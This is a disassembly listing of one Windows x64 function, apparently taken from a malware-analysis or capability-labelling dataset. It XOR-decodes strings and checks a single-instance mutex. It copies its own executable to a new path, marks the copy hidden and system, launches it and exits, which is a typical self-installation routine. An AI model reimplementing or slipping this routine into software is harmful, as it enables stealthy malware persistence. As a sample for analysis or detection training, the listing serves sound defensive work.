Function at 0x1400055e0
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create process on windows
Delete file
Encode data using xor
Get file attributes
Set file attributes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x2e0
movaps xmmword [rsp + 0x2d0], xmm6
mov rax, qword [0x140014040]
xor rax, rsp
mov qword [rsp + 0x2c8], rax
xor esi, esi
lea rcx, [rsp + 0x100]
call fcn.140003520
nop
lea rcx, [rsp + 0x60]
call fcn.140003660
mov rbx, rax
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.14000b190
mov edx, esi
cmp qword [rbx + 0x10], rsi
jbe 0x140005668
lea rcx, [rsp + 0x80]
cmp qword [rsp + 0x98], 0xf
cmova rcx, qword [rsp + 0x80]
xor byte [rcx + rdx], 0x57
inc rdx
cmp rdx, qword [rbx + 0x10]
jb 0x140005641
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0xc0]
call fcn.14000b190
mov rcx, rsi
cmp qword [rsp + 0x90], rsi
jbe 0x1400056bb
nop word [rax + rax]
lea rax, [rsp + 0xc0]
cmp qword [rsp + 0xd8], 0xf
cmova rax, qword [rsp + 0xc0]
xor byte [rax + rcx], 0x57
inc rcx
cmp rcx, qword [rsp + 0x90]
jb 0x140005690
mov rdx, qword [rsp + 0x98]
cmp rdx, 0xf
jbe 0x140005701
inc rdx
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400056fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400056fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x98], 0xf
mov byte [rsp + 0x80], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14000575e
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005758
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005758
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
nop
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0xe0]
call fcn.140003970
nop
lea r8, [rsp + 0xe0]
cmp qword [rsp + 0xf8], 0xf
cmova r8, qword [rsp + 0xe0]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rdi, rax
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1400058ee
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0xf8]
cmp rdx, 0xf
jbe 0x140005809
inc rdx
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005804
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005def
call fcn.14000cc60
movdqa xmm0, xmmword [0x14000f9b0]
movdqu xmmword [rsp + 0xf0], xmm0
mov byte [rsp + 0xe0], 0
mov rdx, qword [rsp + 0xd8]
cmp rdx, 0xf
jbe 0x140005865
inc rdx
mov rcx, qword [rsp + 0xc0]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140005860
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e46
call fcn.14000cc60
mov qword [rsp + 0xd0], rsi
mov qword [rsp + 0xd8], 0xf
mov byte [rsp + 0xc0], 0
mov rdx, qword [rsp + 0x118]
cmp rdx, 0xf
jbe 0x1400058c4
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400058bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005eb4
call fcn.14000cc60
mov rcx, qword [rsp + 0x2c8]
xor rcx, rsp
call fcn.14000cc40
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rdi
ret
movdqa xmm1, xmmword [0x14000fb20]
movdqu xmmword [rsp + 0x80], xmm1
mov dl, 0x72
mov r8b, 0x7a
mov r9b, 0x24
mov r10b, 0x25
mov r11b, 0x4b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x81], al
xor byte [rsp + 0x82], cl
xor byte [rsp + 0x83], cl
xor byte [rsp + 0x84], cl
xor byte [rsp + 0x85], cl
xor byte [rsp + 0x86], cl
xor byte [rsp + 0x87], cl
xor byte [rsp + 0x88], cl
xor byte [rsp + 0x89], cl
xor byte [rsp + 0x8a], cl
xor byte [rsp + 0x8b], cl
xor byte [rsp + 0x8c], cl
xor byte [rsp + 0x8d], cl
xor byte [rsp + 0x8e], cl
xor byte [rsp + 0x8f], cl
xor dl, cl
mov byte [rsp + 0x90], dl
xor r8b, cl
mov byte [rsp + 0x91], r8b
xor r9b, cl
mov byte [rsp + 0x92], r9b
xor r10b, cl
mov byte [rsp + 0x93], r10b
xor r11b, cl
mov byte [rsp + 0x94], r11b
mov byte [rsp + 0x95], 0
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0x81]
lea rcx, [rsp + 0x60]
call fcn.14000ba90
nop
mov byte [rsp + 0x50], 0x7d
mov cl, 0x53
mov dl, 0x18
mov r8b, 5
movzx r9d, dl
xor r10d, r10d
xor cl, 0x7d
mov byte [rsp + 0x51], cl
xor dl, 0x7d
mov byte [rsp + 0x52], dl
xor r8b, 0x7d
mov byte [rsp + 0x53], r8b
xor r9b, 0x7d
mov byte [rsp + 0x54], r9b
mov byte [rsp + 0x55], r10b
lea rcx, [rsp + 0x51]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rcx + r8], r10b
jne 0x140005a30
lea rdx, [rsp + 0x51]
mov rcx, rax
call fcn.14000b0b0
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xb0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xb0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140005ac3
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005abe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005abe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
movdqa xmm6, xmmword [0x14000f9b0]
movdqu xmmword [rsp + 0x70], xmm6
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 0xf
cmova rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140005b1b
lea rcx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 0xf
cmova rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov r8d, 0x104
lea rdx, [rsp + 0x1b0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 0xf
cmova rdx, qword [rsp + 0xa0]
xor r8d, r8d
lea rcx, [rsp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x140005c13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0xf
jbe 0x140005bb1
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005bac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005d98
call fcn.14000cc60
movdqu xmmword [rsp + 0xb0], xmm6
mov byte [rsp + 0xa0], 0
mov rdx, qword [rsp + 0xf8]
cmp rdx, 0xf
jbe 0x140005c05
inc rdx
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c00
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005def
call fcn.14000cc60
movdqu xmmword [rsp + 0xf0], xmm6
jmp 0x14000581a
lea rcx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 0xf
cmova rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea rcx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 0xf
cmova rcx, qword [rsp + 0xa0]
or eax, 6
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [rsp + 0x120], 0x68
xorps xmm0, xmm0
movups xmmword [rsp + 0x128], xmm0
movups xmmword [rsp + 0x138], xmm0
movups xmmword [rsp + 0x148], xmm0
movups xmmword [rsp + 0x158], xmm0
movups xmmword [rsp + 0x168], xmm0
movups xmmword [rsp + 0x178], xmm0
lea rcx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 0xf
cmova rcx, qword [rsp + 0xa0]
lea rax, [rsp + 0x190]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x120]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140005d54
lea rax, [rsp + 0x1b0]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140005cf6
lea r8, [rsp + 0x1b0]
add r8, rbx
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x80]
call fcn.14000bbf0
nop
lea rcx, [rsp + 0x80]
call fcn.140003e30
lea rcx, [rsp + 0x80]
call fcn.140005430
nop
jmp 0x140005d42
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0xf
jbe 0x140005da4
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005d9f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
movdqu xmmword [rsp + 0xb0], xmm6
mov byte [rsp + 0xa0], 0
mov rdx, qword [rsp + 0xf8]
cmp rdx, 0xf
jbe 0x140005dfb
inc rdx
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005df6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005df6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
movdqu xmmword [rsp + 0xf0], xmm6
mov byte [rsp + 0xe0], 0
mov rdx, qword [rsp + 0xd8]
cmp rdx, 0xf
jbe 0x140005e52
inc rdx
mov rcx, qword [rsp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e4d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005e4d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
mov qword [rsp + 0xd0], rsi
mov qword [rsp + 0xd8], 0xf
mov byte [rsp + 0xc0], 0
mov rdx, qword [rsp + 0x118]
cmp rdx, 0xf
jbe 0x1400058c4
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400058bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400058bf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3